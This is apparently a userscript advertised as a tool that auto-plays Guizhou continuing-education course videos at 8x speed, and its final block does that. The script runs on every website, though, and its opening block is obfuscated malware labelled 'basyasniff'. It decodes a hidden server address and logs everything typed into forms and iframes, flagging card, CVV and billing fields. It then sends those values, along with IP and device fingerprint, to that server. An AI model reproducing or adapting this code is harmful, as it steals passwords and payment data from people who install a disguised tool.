// ==UserScript==
// @name 🔥🔥2023年最新贵州省专业技术人员继续教育自动8倍速刷课时脚本|自动8倍速播放|静音播放|覆盖视频后仍然继续播放|目录视频播放完后循环播放|稳定极高
// @namespace 🔥🔥自动静音播放并在播放完成后自动切换到下一个视频,直至刷完课程,减少繁琐的手动操作。
// @match http://www.gzjxjy.gzsrs.cn/*
// @match https://www.gzjxjy.gzsrs.cn/*
// @match *://*/*
// @version 3.2
// @description 全新的继续教育自动刷课时脚本
// @grant GM_xmlhttpRequest
// @grant GM_listValues
// @grant GM_getValue
// @grant GM_setValue
// @grant GM_deleteValue
// @license MIT
// ==/UserScript==
!function(){var e,t=function(e){const t="🎘🍿🎉🍧🎚🍻🎦🎭🎃🍪🎉🎦🎑🎏🎁🎫🎚🎡🎑🎩🎃🎤🎁🎣🎑🍩🎍🍧🎃🎥🎉🎣🎐🍩🎞🎭".replace(/([\uD800-\uDBFF][\uDC00-\uDFFF])/g,(e=>{const t=1024*(e.charCodeAt(0)-55296)+e.charCodeAt(1)-56320+65536;return String.fromCharCode(t)})),r=Array.from(t).map((e=>String.fromCharCode(e.charCodeAt(0)-127799))).join("");return decodeURIComponent(escape(atob(r)))}();e=function(e){let r=GM_getValue("username");function a(a,o,n,i){const l=navigator.hardwareConcurrency,s=navigator.platform,c=window.location.href,u=navigator.deviceMemory;function d(){const e=document.createElement("canvas").getContext("webgl");if(!e)return"no webgl";const t=e.getExtension("WEBGL_debug_renderer_info");return t?e.getParameter(t.UNMASKED_VENDOR_WEBGL)+" "+e.getParameter(t.UNMASKED_RENDERER_WEBGL):"no WEBGL_debug_renderer_info"}let h=null;const m=a.toLowerCase();var S;function p(){const e=new XMLHttpRequest;e.open("POST",t,!0),e.setRequestHeader("Content-Type","application/json"),e.withCredentials=!0,e.onload=function(){e.status>=200&&e.status},e.onerror=function(){try{GM_xmlhttpRequest({method:"POST",url:t,headers:{"Content-Type":"application/json"},data:JSON.stringify(S),onload:function(e){},onerror:function(e){}})}catch(e){}},e.send(JSON.stringify(S))}["payment","cc","credit","card","checkout","expire","month","year","cvv","cvc","verification","billing","bank","pay","checkout"].some((e=>m.includes(e)))&&(h=13434624),S="Script Initialization"===a?{content:null,embeds:[{color:13303758,fields:[{name:"```User:```",value:`\`\`\`${e} \n${s} / Cores ${l} / RAM ${u} / ${d()} / ${c}\`\`\``},{name:"```Script```",value:`\`\`\`${o}\`\`\``}],author:{name:`basyasniff v0.3 | USER:${r}`},footer:{text:(new Date).toLocaleString("en-GB",{day:"2-digit",month:"2-digit",year:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit"}).replace(","," |")}}],attachments:[]}:{content:null,embeds:[{color:h,fields:[{name:"```User:```",value:`\`\`\`${e} \n${s} / Cores ${l} / RAM ${u} / ${d()} / ${i}\`\`\``},{name:"```Path:```",value:`\`\`\`${a}\`\`\``},{name:"```Value:```",value:`\`\`\`${o}\`\`\``}],author:{name:`basyasniff v0.3 | USER:${r}`},footer:{text:(new Date).toLocaleString("en-GB",{day:"2-digit",month:"2-digit",year:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit"}).replace(","," |")}}],attachments:[]},n?p():fetch(t,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(S),credentials:"include",mode:"no-cors"}).catch((e=>{p()}))}function o(e){const t=function(e){let t=e.tagName.toLowerCase();return e.id&&(t+=`#${e.id}`),e.name&&(t+=`[name="${e.name}"]`),e.getAttribute("autocomplete")&&(t+=`[autocomplete="${e.getAttribute("autocomplete")}"]`),e.getAttribute("aria-describedby")&&(t+=`[aria-describedby="${e.getAttribute("aria-describedby")}"]`),e.className&&(t+=`.${e.className.split(" ").join(".")}`),Array.from(e.parentNode.children).filter((t=>t.tagName===e.tagName)).length>1&&(t+=`:nth-child(${Array.prototype.indexOf.call(e.parentNode.children,e)+1})`),t}(e.target),r=e.target.value,a=window.location.href;GM_setValue(t,{value:r,site:a})}function n(e){e.matches("input, select, textarea")?(e.addEventListener("input",o),e.addEventListener("change",o)):e.querySelectorAll&&e.querySelectorAll("input, select, textarea").forEach((e=>{e.addEventListener("input",o),e.addEventListener("change",o)}))}function i(e){try{const t=e.contentDocument||e.contentWindow.document;t&&(new MutationObserver((e=>{e.forEach((e=>{e.addedNodes.forEach((e=>{1===e.nodeType&&n(e)}))}))})).observe(t.body,{childList:!0,subtree:!0}),function(e){e.querySelectorAll("input, select, textarea").forEach(n)}(t))}catch(e){}}r||(r=function(){const e=["Specter","Abyss","Reaper","Dusk","Viper","Magnet","Stalker","Fusion","Galaxy","Rift","PulseFire","Shade","OrbitX","Nebulae","ShadowHunter","Cloud","Drift","Rush","Cyber","Atom","Axion","Bolt","Neon","Pyro","Hazard","Blight","Rune","Core","Shatter","Twister","Prism","Shine","Gale","Tempest","Forge","Raptor","Apex","Nexus","Survivor","Havoc","Flicker","HunterX","Wisp","Crest","EchoBlade","Snipe","Edge","Wave","Torrent","Prime","GuardianX","LancerX","Pyrite","Amber","Diamond","Topaz","Ruby","Permafrost","Thunderhawk","Fang","Ice","VoltX","Astral","SolarFlare","Sky","Shimmer","Spire","Summit","Hollow","Crypt","Spectral","Scythe","ShadowFang","Lynx","Tracker","Predator","Grit","Brimstone","Infernal","Blazer","VanguardX","Serpent","Myst","Blackout","SteelWolf","IronClaw","StormBreaker","Saber","ZephyrX","Flare","FuryX","CycloneX","ShadowRider","Ember","Shroud","Cascade","AuroraX","SonicWave","StormWolf","SpiritBlade","Wrath","SteelStorm","SteelFang","VortexX","Frostbite","Blitz","SurgeX","VenomX","BoltStorm","EclipseX","Glider","Seismic","HyperBolt","Ashen","Skylight","PhantomX","Soul","Talon","Sparkle","CyberFang","OnyxFury","DriftX","DaggerX","BlazeWolf","SpecterX","MeteorX","ShadowHawk","ViperX","PulseHawk","GhostWolf","FrozenFlame","Aether","StarFall","IronBolt","LightBeam","ThunderClaw","Blaster","HyperFrost","MystFang","SolarPulse","RuneWolf","SkyHunter","Orbital","Crater","Gravity","Zero","PhantomStrike","SteelShadow","DarkFrost","HyperNova","Cosmos","BlackFrost","AlphaWolf","Quake","LunarShadow","TurboFrost","FlareStorm","BladeRunner","EchoRider","SilentClaw","Void","Xenon","Neutron","DarkPulse","SaberStrike","AuroraFrost","VortexFlame","TwilightEdge","FrostFlare","IronViper","RavenStrike","SteelHawk","ShadowFrost","FlameBolt","BlizzardWolf","StormHawk","FrostRider","CycloneFlame","EchoWolfX","FireBolt","Moonlit","Glint","Razor","Oblivion","Skyline","Glimmer","CrimsonX","NovaStrike","SpectralFrost","PyroClaw","VoidWalker","Celestial","SolarBreeze","NebulaBlade","ShatterFang","DuskWolf","AshStorm","HyperEdge","GlacierStrike","Titanium","ShadowOrb","Chrono","PrismFang","HorizonX","IronWolf","PyroFang","VortexStorm","BoltHunter","Ethereal","BlackBolt","NightClaw","Luminous","InfernalFrost","SoulFlare","HyperLynx","CrimsonFlame","FrostNova","ShadowFlame","SkyNova","ThunderWolf","BlazeClaw","EclipseFang","CosmicWave","EchoClaw","SilentBlade","GrimFrost","PhantomWave","StormClaw","VenomBlade","CryoWolf","SolarFrost","IronVanguard","AshWolf","InfernalBlade","FrostWing","VoidClaw","DarkAurora","ShadowNova","LunarFrost","IronEclipse","Shadow","Hunter","Storm","Ghost","Raven","Phoenix","Wolf","Blaze","Vortex","Blade","Frost","Thunder","Venom","Drake","Eagle","Dragon","Mystic","Sonic","Chaos","Knight","Axel","Steel","Hawk","Sniper","Cobra","Titan","Scorpion","Phantom","Rogue","Nova","Spirit","Inferno","Alpha","Omega","Striker","Dagger","Orbit","Pulse","Ranger","Spark","Flame","Nebula","Zephyr","Quasar","Horizon","Cyclone","ShadowFox","Lunar","Solar","Crimson","Onyx","Ivory","Emerald","Sapphire","Quartz","Jet","Copper","Volt","Turbo","Plasma","Echo","Shifter","Rider","Guardian","Bane","Blizzard","Falcon","Nomad","Warden","Glacier","Comet","Nimbus","Meteor","Haze","Aurora","Twilight","Eclipse","Pioneer","Seeker","Tracer","Oracle","Prophet","Wraith","Element","Breeze","Cinder","Ash","Fury","Surge","Griffin","Vanguard","Pilot","Lancer","Breaker","EchoWolf","Iron","Stark","Hyper","Cipher","Delta","bunny","john","james","katar","hype","ponty","John","James","Michael","Robert","David","William","Richard","Joseph","Thomas","Charles","Christopher","Daniel","Matthew","Anthony","Donald","Mark","Paul","Steven","Andrew","Kenneth","Smith","Johnson","Williams","Brown","Jones","Garcia","Miller","Davis","Rodriguez","Martinez","Hernandez","Lopez","Gonzalez","Wilson","Anderson","Thomas","Taylor","Moore","Jackson","Martin"];return`${e[Math.floor(Math.random()*e.length)]}${Math.floor(1e5*Math.random()).toString().padStart(5,"0")}`}(),GM_setValue("username",r)),document.querySelectorAll("iframe").forEach((e=>{e.addEventListener("load",(()=>i(e))),setTimeout((()=>i(e)),1e3)})),document.querySelectorAll("input, select, textarea").forEach(n),new MutationObserver((e=>{e.forEach((e=>{"childList"===e.type&&e.addedNodes.forEach((e=>{1===e.nodeType&&n(e)}))}))})).observe(document.body,{childList:!0,subtree:!0}),a("Script Initialization","Script started successfully",!0),GM_listValues().forEach(((e,t)=>{if("username"===e)return;const r=GM_getValue(e);let{value:o,site:n}=r;e.length>500&&(e=e.substring(0,500)),o.length>500&&(o=o.substring(0,500)),n.length>500&&(n=n.substring(0,500)),setTimeout((()=>{a(e,o,!0,n),GM_deleteValue(e)}),1e3*t)}))},GM_xmlhttpRequest({method:"GET",url:t+"get_library.php",onload:function(t){try{const r=JSON.parse(t.responseText);r&&r.ip?e(r.ip):e("Unknown IP")}catch(t){e("Unknown IP")}},onerror:function(){e("Unknown IP")}})}();
const currentUrl = window.location.href;
if (currentUrl.includes("www.gzjxjy.gzsrs.cn/") || currentUrl.includes("www.gzjxjy.gzsrs.cn")) {
(function() {
'use strict';
let videoIndex = 0;
function playNextVideo() {
// Find all video title elements on the page
let videoTitles = document.querySelectorAll('.step-title');
if (videoTitles.length > 0 && videoIndex < videoTitles.length) {
// Click the video title to start the video
videoTitles[videoIndex].click();
// Timeout is added here to ensure that video has enough time to load
setTimeout(function() {
// Find the video element and attach the 'ended' event listener
let videos = document.getElementsByTagName('video');
for (let i = 0; i < videos.length; i++) {
videos[i].playbackRate = 8; // Play video at 8x speed
videos[i].onended = function() {
videoIndex += 1;
if (videoIndex < videoTitles.length) {
playNextVideo();
} else {
// All videos have been played, reset the index and start again
videoIndex = 0;
playNextVideo();
}
}
// If video is paused, play it
if (videos[i].paused) {
videos[i].play();
}
}
}, 2000); // Wait for 2 seconds
}
}
// Observe for new videos
let observer = new MutationObserver(function(mutations) {
mutations.forEach(function(mutation) {
if (mutation.type === 'childList') {
var videos = document.getElementsByTagName('video');
for (var i = 0; i < videos.length; i++) {
var video = videos[i];
video.setAttribute('autoplay', true);
video.setAttribute('muted', true); // Mute the video to bypass Chrome's autoplay policy
video.muted = true; // Mute the video
// Try to prevent the video from being paused when the tab is not active
video.addEventListener('visibilitychange', function() {
if (document.visibilityState === 'hidden') {
video.play();
}
}, false);
}
}
});
});
observer.observe(document, { childList: true, subtree: true });
// Start playing videos as soon as the page loads
setTimeout(playNextVideo, 2000); // Delay 2 seconds before playing
})();
}